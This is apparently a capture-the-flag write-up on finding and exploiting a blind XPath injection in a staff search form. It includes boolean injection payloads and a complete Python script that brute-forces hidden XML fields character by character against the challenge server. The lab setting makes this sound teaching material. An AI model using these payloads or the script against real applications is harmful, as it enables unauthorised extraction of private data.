When we first look at the challenge we see a form that allows us to see if a certain user is in the data. The data it will be searching through is given as a file in the challenge. The basic structure looks like this:

XML

<?xml version="1.0" encoding="utf-8"?>

<military>
    <district id="confidential">
    
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>CHTB{f4k3_fl4g</selfDestructCode>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>

    </district>
    <district id="confidential">
    
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>_f0r_t3st1ng}</selfDestructCode>
        </staff>

    </district>
</military>

...with multiple districts and staff. In the actual challenge the place of the flag parts is a little different.
We see that parts of the flag are scattered inside of this XML data. So our goal is to read that data that isn't displayed anywhere on the site.

Since we have the query page where we can search for users, we can try to inject some weird characters to try and break it.
When we put a quote ' in our payload, it tells us that something has wrong. This is a good sign for an injection vulnerability. This isn't a SQL injection, because we're not working with a database here, rather an XML document that we query through. A common way to search through such data is using XPATH. an example of an XPATH query is this:

XPATH

//military/district[1]/staff[name='Jorian']

to get all staff in the first district named Jorian.
We likely have input in the name attribute so we can use the quote ' we found to break out of it. Then we can use tactics similar to SQL injection to slowly exfiltrate the data.

To get a boolean yes or no response we can use the or keyword like this: ' or 1=1 and ''=' where 1=1 is our condition. We use and ''=' to make sure the quote at the end doesn't give an error.
Now we need to find what staff have the selfDestructCode. Before we go searching for it we'll count how many districts and staff there are. That way we can later just use a for loop to go through them all.
Using count(//military/district)=1 and incrementing the number we can eventually get a true response meaning we found the number of districts.
Then for each district we count how many staff it has: count(//military/district[1]/staff)=1. We again keep incrementing the number and eventually find out how many staff there are in that district.
When we finally have all the staff we need to find out which ones contain a selfDestructCode. The payload //military/district[{district}]/staff[{staff}]/selfDestructCode will return a boolean value of if it exists. When this is true we know it has a code and thus part of the flag.
Now that we know what staff has the flag we only need to exfiltrate it by brute force. This is a very tedious task when doing it manually, but luckily we can just let code do it for us. We can use the substring(string, offset, length) function in XPATH to get a single letter of a string. We can use a simple for loop to go through all possible letters and check if that is it. When we eventually cannot find a letter anymore we know that string has ended and we can go to the next part.

When we finally combine all of this we get a script like this:

Python

import requests
import json

url = "http://165.227.236.40:31585"
alphabet = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$"


def test(data):
    data = "{\"search\":\"' or " + data + " and ''='\"}"
    r = requests.post(url + "/api/search", data=data, headers={'Content-Type': 'application/json'})
    response = json.loads(r.text)

    if response.get('success'):
        return True
    else:
        return False
    

def get_district_count():
    i = 0
    while True:
        if test(f"count(//military/district)={i}"):
            return i

        i += 1

def get_staff_count(district):
    i = 0
    while True:
        if test(f"count(//military/district[{district}]/staff)={i}"):
            return i

        i += 1

def staff_has_code(district, staff):
    return test(f"//military/district[{district}]/staff[{staff}]/selfDestructCode")

def get_code(district, staff):
    found_new_char = True
    code = ''

    i = 1
    while found_new_char:
        found_new_char = False

        for letter in alphabet:
            if test(f"substring(//military/district[{district}]/staff[{staff}]/selfDestructCode, {i}, 1)='{letter}'"):
                code += letter
                found_new_char = True
                print('FOUND CHAR:', code)
                break

        i += 1

district_count = get_district_count()
print("DISTRICT COUNT:", district_count)

for district in range(1, district_count+1):
    staff_count = get_staff_count(district)
    print(f"STAFF COUNT ({district}):", staff_count)

    for staff in range(1, staff_count+1):
        has_code = staff_has_code(district, staff)
        print(f'staff ({district}, {staff}):', has_code)
        if has_code:
            get_code(district, staff)

Which will print out some information about what it can find and then eventually prints both parts of the flag in the selfDestructCode.